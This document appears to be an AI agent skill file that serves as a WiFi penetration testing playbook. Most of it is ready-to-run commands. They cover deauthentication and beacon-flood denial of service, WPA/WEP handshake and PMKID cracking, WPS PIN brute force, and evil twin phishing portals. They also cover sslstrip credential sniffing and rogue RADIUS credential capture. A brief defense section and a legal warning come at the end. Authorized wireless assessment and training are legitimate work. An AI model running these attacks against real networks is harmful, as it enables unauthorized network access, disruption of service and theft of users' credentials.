Wireless Security & WiFi Penetration Testing

Skill by ara.so — Security Skills collection.

Expert-level wireless security penetration testing using aircrack-ng suite, handshake capture, WEP/WPA/WPA2/WPA3 cracking, rogue AP deployment, and 802.11 exploitation techniques. This skill covers reconnaissance, attack execution, and defensive mitigation for wireless networks.

What This Skill Covers

802.11 fundamentals: Frame types, encryption protocols (WEP, WPA, WPA2, WPA3), authentication mechanisms
Adapter configuration: Monitor mode setup, packet injection testing, chipset compatibility
Reconnaissance: Network discovery, hidden SSID enumeration, client enumeration, traffic analysis
WEP attacks: IVS capture, PTW attack, fragmentation, Chop-Chop, Caffe Latte
WPA/WPA2 attacks: Handshake capture, deauthentication, PMKID extraction, dictionary/GPU cracking
WPA3 exploitation: Downgrade attacks, Dragonblood vulnerabilities
Rogue AP attacks: Evil twin deployment, captive portals, wireless MITM
Enterprise WPA: EAP/RADIUS assessment, certificate validation bypass
Detection & defense: WIDS configuration, management frame protection, hardening recommendations

Prerequisites

Hardware Requirements

Injection-capable wireless adapter (Atheros AR9271 or Ralink RT3070/RT5372 chipset)
- TP-Link TL-WN722N v1 (Atheros AR9271) ✅
- Alfa AWUS036NHA (Atheros AR9271) ✅
- Panda PAU05 (Ralink RT5372) ✅
- Avoid: TL-WN722N v2/v3 (Realtek, no injection support)
Test access point you own and control
Client device for handshake generation
Kali Linux (bare-metal or VM with USB passthrough)

Software Stack

# Verify Kali includes core tools (pre-installed)
which aircrack-ng airodump-ng aireplay-ng airbase-ng

# Install additional tools
sudo apt update
sudo apt install -y \
  hashcat hcxdumptool hcxtools \
  reaver bully wash \
  hostapd dnsmasq \
  kismet wireshark-qt \
  bettercap wifiphisher

Adapter Setup & Monitor Mode

Identify Wireless Interface

# List wireless interfaces
iwconfig
ip link show

# Check interface details
iw dev

# Verify chipset (Atheros/Ralink preferred)
lsusb
lspci | grep -i wireless

Enable Monitor Mode

# Method 1: Using airmon-ng (recommended)
sudo airmon-ng check kill  # Kill interfering processes
sudo airmon-ng start wlan0  # Creates wlan0mon

# Method 2: Manual setup
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor mode
iwconfig wlan0mon  # Should show "Mode:Monitor"

Test Packet Injection

# Critical test before attacks
sudo aireplay-ng --test wlan0mon

# Expected output:
# Injection is working!
# Found X APs
# Trying broadcast probe requests...
# Injection is working!

# Test against specific AP
sudo aireplay-ng --test -a 00:11:22:33:44:55 wlan0mon

Set Regulatory Domain & Channel

# Check current regulatory domain
iw reg get

# Set domain (affects power/channels)
sudo iw reg set US  # or GB, DE, etc.

# Set specific channel
sudo iw dev wlan0mon set channel 6

# Set frequency (alternative)
sudo iw dev wlan0mon set freq 2437  # Channel 6 = 2437 MHz

Reconnaissance & Network Discovery

Basic Network Scan

# Scan all channels, all encryption types
sudo airodump-ng wlan0mon

# Scan specific channel
sudo airodump-ng -c 6 wlan0mon

# Scan specific band
sudo airodump-ng --band a wlan0mon  # 5 GHz only
sudo airodump-ng --band bg wlan0mon  # 2.4 GHz only

# Save to file
sudo airodump-ng -w scan_output --output-format pcap,csv wlan0mon

Target Specific Network

# Focus on single BSSID
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w target wlan0mon

# Show only clients (stations)
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --showack wlan0mon

Hidden SSID Discovery

# Passive: Wait for client probe/association
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon

# Active: Deauth client to force reassociation (reveals SSID)
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon

Client Enumeration with Kismet

# Start Kismet server
sudo kismet -c wlan0mon

# Web UI: http://localhost:2501
# First run: create admin user

# CLI query connected clients
kismet_client --list-clients --server localhost:2501

WPA/WPA2 Handshake Capture

Capture 4-Way Handshake

# Terminal 1: Start capture on target channel
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

# Terminal 2: Deauth client to force reauthentication
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# -a = AP BSSID
# -c = Client MAC (optional, omit to deauth all clients)
# 10 = number of deauth packets

# Look for "WPA handshake: 00:11:22:33:44:55" in airodump-ng output

Verify Handshake Capture

# Check for valid handshake in capture file
sudo aircrack-ng capture-01.cap

# Output should show:
# 1 handshake

# Alternative verification with tshark
tshark -r capture-01.cap -Y "eapol" | grep -i handshake

Convert Handshake for Hashcat

# Extract handshake to hashcat format
sudo aircrack-ng -J output capture-01.cap
# Creates output.hccapx (hashcat 3.6+)

# Modern method with hcxpcapngtool (hashcat 6.0+)
hcxpcapngtool -o output.22000 capture-01.cap
# Creates output.22000 (WPA*01/02 hash format)

PMKID Attack (Clientless WPA/WPA2)

Capture PMKID

# Modern method with hcxdumptool (no deauth needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Let run for 2-5 minutes, Ctrl+C to stop

# Convert to hashcat format
hcxpcapngtool -o pmkid.22000 pmkid.pcapng

# Verify PMKID present
grep -c "22000" pmkid.22000

WPA/WPA2 Cracking

Dictionary Attack with Aircrack-ng

# Crack using wordlist
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Specify BSSID if multiple networks in capture
sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture-01.cap

# Show cracking progress
# KEY FOUND! [ password123 ]

GPU Cracking with Hashcat

# WPA/WPA2 handshake (mode 22000)
hashcat -m 22000 -a 0 output.22000 /usr/share/wordlists/rockyou.txt

# PMKID (mode 22000)
hashcat -m 22000 pmkid.22000 wordlist.txt

# With rules for mutations
hashcat -m 22000 -a 0 output.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack (brute-force patterns)
hashcat -m 22000 -a 3 output.22000 ?d?d?d?d?d?d?d?d
# ?d = digit, ?l = lowercase, ?u = uppercase, ?s = special

# Show cracked passwords
hashcat -m 22000 output.22000 --show

Precomputed Rainbow Tables (Cowpatty)

# Generate rainbow table for SSID
genpmk -f wordlist.txt -d pmk_database.db -s "TargetSSID"

# Crack using precomputed table (instant if password in table)
cowpatty -d pmk_database.db -r capture-01.cap -s "TargetSSID"

WEP Cracking

Passive IVS Collection (PTW Attack)

# Capture IVs on busy network
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlan0mon

# Wait for 40,000+ IVs (Data column in airodump)
# Then crack:
sudo aircrack-ng wep_capture-01.cap

# KEY FOUND! [ XX:XX:XX:XX:XX ] (ASCII: "wepkey")

Active ARP Replay Attack

# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_arp wlan0mon

# Terminal 2: Fake authentication
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Terminal 3: Wait for ARP packet, then replay
sudo aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# IVs accumulate rapidly (1000+/sec)
# Once 40K+ IVs collected, crack as above

Fragmentation Attack (No Clients)

# Fake auth
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Obtain keystream with fragmentation
sudo aireplay-ng --fragment -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Use keystream to forge ARP packet
sudo packetforge-ng --arp -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.1 -l 192.168.1.2 -y fragment-*.xor -w arp_packet

# Inject forged packet
sudo aireplay-ng --interactive -r arp_packet wlan0mon

Deauthentication & DoS Attacks

Deauth Single Client

# Targeted deauth
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# 0 = infinite deauth packets (Ctrl+C to stop)

Deauth All Clients (Network DoS)

# Broadcast deauth (affects all clients)
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon

# With reason code
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 --reason 7 wlan0mon

MDK4 Beacon Flood

# Flood with fake APs (WLAN DoS)
sudo mdk4 wlan0mon b -a -m

# Deauth flood
sudo mdk4 wlan0mon d -b /path/to/blacklist.txt

Evil Twin & Rogue AP Attacks

Basic Evil Twin with Hostapd

# Create hostapd config
cat > evil_twin.conf << EOF
interface=wlan0
driver=nl80211
ssid=TargetSSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Start evil twin AP
sudo hostapd evil_twin.conf

# In another terminal, assign IP and run DHCP
sudo ip addr add 192.168.1.1/24 dev wlan0
sudo dnsmasq -C /dev/null -kd -F 192.168.1.10,192.168.1.100 -i wlan0 --bind-dynamic

Wifiphisher Automated Evil Twin

# Automatic evil twin + phishing portal
sudo wifiphisher -aI wlan0mon -eI eth0 -p firmware-upgrade

# Common phishing scenarios:
# -p firmware-upgrade
# -p oauth-login
# -p browser-plugin-update

Capture Credentials with Bettercap

# Start bettercap
sudo bettercap -iface wlan0

# In bettercap console:
> set wifi.interface wlan0mon
> wifi.recon on
> wifi.ap.ssid "TargetSSID"
> wifi.ap.bssid 00:11:22:33:44:55
> wifi.ap.channel 6
> set http.proxy.sslstrip true
> set net.sniff.verbose true
> http.proxy on
> net.sniff on

# Captures credentials, cookies, traffic

WPS Attacks

WPS PIN Brute Force with Reaver

# Check WPS enabled
sudo wash -i wlan0mon

# Reaver attack
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

# With delay to avoid rate limiting
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -d 5 -T 0.5 -N

# Pixie Dust attack (offline, fast)
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -K

Bully WPS Attack

# Standard attack
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6

# Pixie Dust
sudo bully wlan0mon -b 00:11:22:33:44:55 -d -v 3

Enterprise WPA (EAP/RADIUS) Assessment

Enumerate EAP Methods

# Use eapmd5pass or EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./eaphammer --certs --eap-spray

# Identify EAP type in captured traffic
tshark -r capture.pcap -Y "eap" -T fields -e eap.type | sort -u

Certificate Validation Bypass

# Rogue RADIUS with EAPHammer
sudo ./eaphammer \
  --interface wlan0 \
  --essid "EnterpriseSSID" \
  --creds \
  --auth wpa-eap

# Captures credentials when clients ignore cert warnings

WPA3 & Advanced Attacks

WPA3 Downgrade Attack

# Force WPA3 AP to WPA2 transition mode
sudo mdk4 wlan0mon d -a 00:11:22:33:44:55

# Or use hostapd-wpe with transition mode disabled

Dragonblood (CVE-2019-13377)

# Test for Dragonblood vulnerability
git clone https://github.com/vanhoefm/dragonslayer.git
cd dragonslayer
./dragonslayer.py --test wlan0mon --bssid 00:11:22:33:44:55

Traffic Analysis & MITM

Capture & Decrypt WPA Traffic

# Capture traffic
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w traffic wlan0mon

# After obtaining PSK, decrypt in Wireshark:
# Edit → Preferences → Protocols → IEEE 802.11
# Enable decryption, add key:
# wpa-pwd:password123:SSID

SSL Strip & Traffic Sniffing

# Route traffic through attacker (on rogue AP)
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# SSL strip with sslstrip
sudo sslstrip -l 8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# View captured credentials
tail -f /var/log/sslstrip.log

Detection & Defense

Management Frame Protection (802.11w)

# Enable in hostapd.conf
ieee80211w=2  # Required
# Protects against deauth/disassociation attacks

Wireless IDS with Kismet

# Configure alerts in kismet.conf
alert=DEAUTHFLOOD,5/min,Deauthentication DoS
alert=DISCONFLOOD,5/min,Disassociation DoS
alert=BSSTIMESTAMP,10/min,Evil Twin Detected

# Monitor for rogue APs
sudo kismet -c wlan0mon --daemonize

Common Workflows

Full WPA2 Crack Workflow

# 1. Monitor mode
sudo airmon-ng start wlan0

# 2. Scan for targets
sudo airodump-ng wlan0mon
# Note BSSID, channel, ESSID

# 3. Capture handshake
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon &
sleep 5
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

# 4. Verify handshake
sudo aircrack-ng capture-01.cap

# 5. Crack
hashcat -m 22000 -a 0 capture.22000 /usr/share/wordlists/rockyou.txt

# 6. Cleanup
sudo airmon-ng stop wlan0mon

Evil Twin Credential Harvest

# 1. Deauth clients from real AP
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon &

# 2. Start evil twin with same SSID
sudo wifiphisher -aI wlan0mon -eI eth0 -p oauth-login

# 3. Monitor for captured credentials
# Wifiphisher displays creds in real-time

# 4. Stop attack
# Ctrl+C, review logs in /root/.wifiphisher/

Troubleshooting

"Injection Failed" Errors

# 1. Kill interfering processes
sudo airmon-ng check kill

# 2. Reset adapter
sudo ip link set wlan0 down
sudo ip link set wlan0 up
sudo airmon-ng start wlan0

# 3. Verify injection again
sudo aireplay-ng --test wlan0mon

No Handshake Captured

# Ensure client is connected
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon
# Check STATION column for active clients

# Increase deauth count
sudo aireplay-ng --deauth 50 -a 00:11:22:33:44:55 wlan0mon

# Try PMKID attack instead (no clients needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

Hashcat Not Using GPU

# Check GPU detected
hashcat -I

# Install NVIDIA drivers (if needed)
sudo apt install -y nvidia-driver nvidia-cuda-toolkit

# AMD ROCm for AMD GPUs
sudo apt install -y rocm-opencl-runtime

# Force GPU device
hashcat -m 22000 -D 2 hash.22000 wordlist.txt
# -D 1 = CPU, -D 2 = GPU

"Channel -1" Error

# Explicitly set channel before starting airodump
sudo iw dev wlan0mon set channel 6

# Or in airodump command
sudo airodump-ng -c 6 wlan0mon

Legal & Ethical Considerations

⚠️ WARNING: All techniques in this skill are for authorized testing only.

Test only networks you own or have explicit written permission to assess
Wireless attacks (deauth, jamming, rogue APs) are illegal under:
- US: Computer Fraud & Abuse Act (CFAA), FCC regulations
- EU: GDPR, national cybercrime laws
- UK: Computer Misuse Act
Practice in isolated RF lab with controlled equipment
Use proper engagement documentation (scope, authorization, ROE)
Report vulnerabilities responsibly following coordinated disclosure

Additional Resources

OffSec OSWP: https://www.offensive-security.com/wifu-oswp/
aircrack-ng documentation: https://www.aircrack-ng.org/documentation.html
Hashcat wiki: https://hashcat.net/wiki/
Wireless Arsenal: https://github.com/0x90/wifi-arsenal
OWASP Wireless Testing Guide: https://owasp.org/www-project-mobile-top-10/

Environment Variables Used:

None (all commands use direct system paths or user-provided wordlists)

Key Files:

/usr/share/wordlists/rockyou.txt - Default Kali wordlist
/usr/share/hashcat/rules/ - Hashcat rule sets
capture-01.cap - Airodump capture files (user-generated)
*.22000 - Hashcat WPA hash format (user-generated)

wireless-security-wifi-pentest